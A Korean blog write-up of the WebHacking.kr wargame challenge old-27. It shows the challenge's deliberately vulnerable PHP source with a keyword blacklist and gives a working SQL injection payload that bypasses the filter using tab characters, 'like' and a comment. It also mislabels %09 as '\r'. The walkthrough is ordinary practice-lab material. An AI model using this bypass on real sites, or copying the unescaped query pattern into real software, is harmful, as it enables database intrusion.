Search

WebHacking.kr Challenge old-27

목표 : SQLi, 필터링 우회
친절하게 injection을 하라고 한다.
소스도 보여준다
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 27</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get action=index.php> <input type=text name=no><input type=submit> </form> <?php if($_GET['no']){ $db = dbconnect(); if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack"); $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error"); if($r['id']=="guest") echo("guest"); if($r['id']=="admin") solve(27); // admin's no = 2 } ?> <br><a href=?view_source=1>view-source</a> </body> </html>
PHP
복사
필터링 값
# select ( 공백 limit = 16진수
admin no가 2라고 말해준다
익숙하다
와 사실상 거의 동일한 문제다.
"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error")
PHP
복사
핵심은 die를 주석 처리하고 필터링 값에 걸리지 않게 뒤에 or no=2를 붙이는거다.
=는 필터링 우회를 위해 like로 대체하고 공백은 %09(\r)로 대체한다.
0)%09or%09no%09like%092%09--%09 #— 주석 뒤 공백 필수
PHP
복사

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.